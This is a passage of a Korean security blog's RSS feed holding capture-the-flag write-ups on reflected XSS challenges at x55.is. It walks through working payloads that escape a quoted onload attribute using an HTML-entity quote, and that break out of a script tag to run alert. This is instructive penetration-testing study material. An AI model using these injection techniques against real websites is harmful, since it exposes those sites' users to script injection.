&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;dddd'&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;p 파라미터에 HTML Entity로 &amp;amp;#x0027(hex)을 입력해 보고 콘솔 탭에 들어가 보면 문법 에러가 뜨며 사용자의 입력 값으로 코드에 영향을 미치고 있는 것을 볼 수가 있습니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(* &amp;amp;#x0027에서&amp;nbsp;&lt;span style=&quot;background-color: #dddddd;&quot;&gt; &amp;amp;&amp;nbsp;&lt;/span&gt; ,&amp;nbsp;&lt;span style=&quot;background-color: #dddddd;&quot;&gt; #&amp;nbsp;&lt;/span&gt; 기호는 각각 파라미터 구분자와 프래그먼트 식별자로 의미가 있는 있는 기호이기 때문에 URL 인코딩을 통해 해당 기호들을 바꿔서 입력해 줘야 합니다. 바꿔주지 않으면 &amp;amp;#x0027으로 인식하지 못합니다. &amp;amp;#x0027 -&amp;gt; %26%23x0027)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;662&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0S7Sx/dJMcaaKO77n/MFzjEXKCHknwdyLpvNmO3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0S7Sx/dJMcaaKO77n/MFzjEXKCHknwdyLpvNmO3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0S7Sx/dJMcaaKO77n/MFzjEXKCHknwdyLpvNmO3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0S7Sx%2FdJMcaaKO77n%2FMFzjEXKCHknwdyLpvNmO3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;421&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;662&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;따라서 HTML 파서와 JS 엔진 동작 방식을 이용하여 XSS 공격을 시도할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[페이로드(입력 값)]&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 21px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 21px;&quot;&gt;&lt;b&gt;페이로드: dddd%26%23x0027);alert(1);// 또는&lt;/b&gt; &lt;b&gt;dddd%26%23x0027);alert(1);x=('&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&amp;lt;body onload=&quot;doSomething('___입력 값___')&quot;&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;!-- 주석을 이용하여 싱글 쿼터, 닫는 괄호 처리 --&amp;gt;&lt;br /&gt;&amp;lt;body onload=&quot;doSomething('&lt;span style=&quot;color: #ee2323;&quot;&gt;dddd%26%23x0027);alert(1);//&lt;/span&gt; ')&quot;&amp;gt;&lt;b&gt;&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&amp;lt;!-- 더미 속성을 이용해서 싱글 쿼터, 닫는 괄호 처리--&amp;gt;&lt;br /&gt;&amp;lt;body onload=&quot;doSomething('&lt;span style=&quot;color: #ee2323;&quot;&gt;dddd%26%23x0027);alert(1);x=('&lt;/span&gt;')&quot;&amp;gt;&lt;b&gt;&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;*** 마지막에 한 줄 주석 처리(//) 또는 더미 속성을 해주지 않는다면 마지막에 싱글 쿼터('), 닫는 괄호가 남기 때문에 문법 에러가 발생하여 alert 함수가 동작하지 않습니다.&lt;/span&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;주석 처리를 이용한 페이로드를 입력합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;670&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dosAEj/dJMcag5lVcp/XSvp4VkcWdROsR4NJpdliK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dosAEj/dJMcag5lVcp/XSvp4VkcWdROsR4NJpdliK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dosAEj/dJMcag5lVcp/XSvp4VkcWdROsR4NJpdliK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdosAEj%2FdJMcag5lVcp%2FXSvp4VkcWdROsR4NJpdliK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;426&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;670&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;결과를 확인해 보면 삽입된 스크립트가 정상 작동하여 경고 창을 성공적으로 띄우며 XSS(RXSS) 공격에 성공했음을 확인할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;670&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JzhAi/dJMcabiFs3q/mn1apIZP1hQtKzKzMLB4B1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JzhAi/dJMcabiFs3q/mn1apIZP1hQtKzKzMLB4B1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JzhAi/dJMcabiFs3q/mn1apIZP1hQtKzKzMLB4B1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJzhAi%2FdJMcabiFs3q%2Fmn1apIZP1hQtKzKzMLB4B1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;426&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;670&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;더미 속성을 이용한 페이로드를 입력합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;675&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/J2p94/dJMcaaxidrK/IztC9nwbmGLudfXNk1eah0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/J2p94/dJMcaaxidrK/IztC9nwbmGLudfXNk1eah0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/J2p94/dJMcaaxidrK/IztC9nwbmGLudfXNk1eah0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJ2p94%2FdJMcaaxidrK%2FIztC9nwbmGLudfXNk1eah0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;429&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;675&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: circle; background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;결과를 확인해 보면 삽입된 스크립트가 정상 작동하여 경고 창을 성공적으로 띄우며 XSS(RXSS) 공격에 성공했음을 확인할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;671&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Lnyww/dJMcaia1iNm/hFz6g8E7hmfHUiI1aiv1R1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Lnyww/dJMcaia1iNm/hFz6g8E7hmfHUiI1aiv1R1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Lnyww/dJMcaia1iNm/hFz6g8E7hmfHUiI1aiv1R1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLnyww%2FdJMcaia1iNm%2FhFz6g8E7hmfHUiI1aiv1R1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;426&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;671&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/x55.is(CTF)</category>
      <category>CTF</category>
      <category>html 파서</category>
      <category>JS 엔진</category>
      <category>Reflected XSS</category>
      <category>RXSS</category>
      <category>x55.is</category>
      <category>XSS</category>
      <category>모의해킹</category>
      <category>모의해킹 공부 정리</category>
      <category>크사</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/16</guid>
      <comments>https://code000.tistory.com/entry/x55isCTF-XSS-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-44#entry16comment</comments>
      <pubDate>Mon, 19 Jan 2026 14:10:22 +0900</pubDate>
    </item>
    <item>
      <title>x55.is(CTF) - XSS 문제 풀이 (3/4)</title>
      <link>https://code000.tistory.com/entry/x55isCTF-XSS-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-34</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: left;&quot;&gt;https://x55.is/brutelogic/xss.php?c1=test&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: left;&quot;&gt;https://x55.is/brutelogic/xss.php?c2=test&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: left;&quot;&gt;https://x55.is/brutelogic/xss.php?c3=test&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: left;&quot;&gt;https://x55.is/brutelogic/xss.php?c4=test&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: left;&quot;&gt;https://x55.is/brutelogic/xss.php?c5=test&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: left;&quot;&gt;https://x55.is/brutelogic/xss.php?c6=test&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표 &amp;amp; 사용 도구&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;alert 함수를 통해 경고창을 화면에 띄우는 것을 목표로 합니다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&amp;nbsp;&lt;/b&gt;Burp Suite&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이 - https://x55.is/brutelogic/xss.php?c1=test&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제 페이지에 접속하여 c1 파라미터에 임의의 값을 삽입하고 Burp Suite를 통해 요청, 응답 데이터를 확인합니다. 삽입한 값이 script 태그 내부 c1 변수의 값으로 들어가고 있는 것을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;355&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/beOzCy/dJMcacofkee/kkz0WdlNRVl0Mltv9XfsS0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/beOzCy/dJMcacofkee/kkz0WdlNRVl0Mltv9XfsS0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/beOzCy/dJMcacofkee/kkz0WdlNRVl0Mltv9XfsS0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbeOzCy%2FdJMcacofkee%2Fkkz0WdlNRVl0Mltv9XfsS0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;320&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;355&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;c1 파라미터 값에&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt; 특수문자 4개 &amp;lt;, ', &quot;, &amp;gt;를 삽입하여 요청을 보냅니다. 그 후 응답 결과를 확인해 보면 싱글쿼터가 필터링되어 사용할 수 없음을 알 수 있습니다.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;357&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/G6pLG/dJMcaaKJWSG/2XsvIAOmUjrpcOcXmfW9k1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/G6pLG/dJMcaaKJWSG/2XsvIAOmUjrpcOcXmfW9k1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/G6pLG/dJMcaaKJWSG/2XsvIAOmUjrpcOcXmfW9k1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FG6pLG%2FdJMcaaKJWSG%2F2XsvIAOmUjrpcOcXmfW9k1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;321&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;357&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;꺾쇠 기호가 필터링 되어 있지 않고 스크립트 내부에 접근이 가능하기 때문에 script 태그를 닫고 다시 script 태그를 삽입하여 XSS 공격을 시도할 수 있습니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[페이로드(입력 값)]&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 610px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 610px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 610px;&quot;&gt;&lt;b&gt;페이로드: dddd&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;alert(&quot;1&quot;);&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;페이로드 마지막에 &amp;lt;script&amp;gt;를 해줬던 이유는 기존에 있던 script 태그의 닫는 태그가 남기 때문에 정상적으로 script 태그를 닫기 위해서입니다.&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;lt;script&amp;gt; // 기존 script 태그&lt;br /&gt;&amp;nbsp; ~~~~&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&amp;lt;/script&amp;gt; // 페이로드에 입력된 script 태그&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt; &lt;span style=&quot;text-align: start;&quot;&gt;&amp;lt;script&amp;gt; // 페이로드에 입력된 script 태그 &lt;br /&gt;&amp;nbsp; &lt;span style=&quot;color: #ee2323; text-align: start;&quot;&gt;dddd&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;alert('1');&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;&lt;/span&gt; &lt;br /&gt;&lt;/span&gt;&amp;lt;/script&amp;gt; // 페이로드에 입력된 script 태그 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&amp;lt;script&amp;gt;&amp;nbsp; // 페이로드에 입력된 script 태그&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&amp;nbsp; // 기존 script 태그&lt;br /&gt;&lt;br /&gt;*** 마지막에 &amp;lt;script&amp;gt;를 해주지 않는다면&amp;nbsp; 다음과 같이 script 태그 내의 내용들이 텍스트로 화면에 출력되게 됩니다.&lt;br /&gt;(alert 함수는 정상 작동합니다.)&lt;br /&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;231&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Hzpki/dJMcab3WYCW/eCrt4d4Miq7jjKBTKcv3E0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Hzpki/dJMcab3WYCW/eCrt4d4Miq7jjKBTKcv3E0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Hzpki/dJMcab3WYCW/eCrt4d4Miq7jjKBTKcv3E0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHzpki%2FdJMcab3WYCW%2FeCrt4d4Miq7jjKBTKcv3E0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;944&quot; height=&quot;231&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;231&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Response를 보면 스크립트가 삽입된 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;352&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BYxV7/dJMcabXbKBS/xfNHHse0KqDeYszj8kijU0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BYxV7/dJMcabXbKBS/xfNHHse0KqDeYszj8kijU0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BYxV7/dJMcabXbKBS/xfNHHse0KqDeYszj8kijU0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBYxV7%2FdJMcabXbKBS%2FxfNHHse0KqDeYszj8kijU0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;317&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;352&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;삽입된 스크립트가 정상적으로 실행되는지 확인하기 위해 스크립트가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;삽입된 URL 그대로 복사하여 주소창에 입력하여 접속합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;674&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YzKhR/dJMcaf6lJYr/DJUQheXKhkZ4aKfoTkYKN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YzKhR/dJMcaf6lJYr/DJUQheXKhkZ4aKfoTkYKN1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YzKhR/dJMcaf6lJYr/DJUQheXKhkZ4aKfoTkYKN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYzKhR%2FdJMcaf6lJYr%2FDJUQheXKhkZ4aKfoTkYKN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;428&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;674&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;결과를 확인해 보면 삽입된 스크립트가 정상 작동하여 경고 창을 성공적으로 띄우며 XSS(RXSS) 공격에 성공했음을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;676&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsMFSs/dJMcajt5GEQ/FOf5fVV7IWh3hpZ7hW4xFK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsMFSs/dJMcajt5GEQ/FOf5fVV7IWh3hpZ7hW4xFK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsMFSs/dJMcajt5GEQ/FOf5fVV7IWh3hpZ7hW4xFK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsMFSs%2FdJMcajt5GEQ%2FFOf5fVV7IWh3hpZ7hW4xFK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;430&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;676&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;(참고)&lt;/b&gt; 경고 창을 닫고 페이지를 확인해 보면 페이로드 마지막에 해줬던 &amp;lt;script&amp;gt; 가 있었기에 정상적으로 script 태그가 닫히면서 내용들이 텍스트로 화면에 출력되지 않고 있는 것을 볼 수 있습니다.&lt;/p&gt;
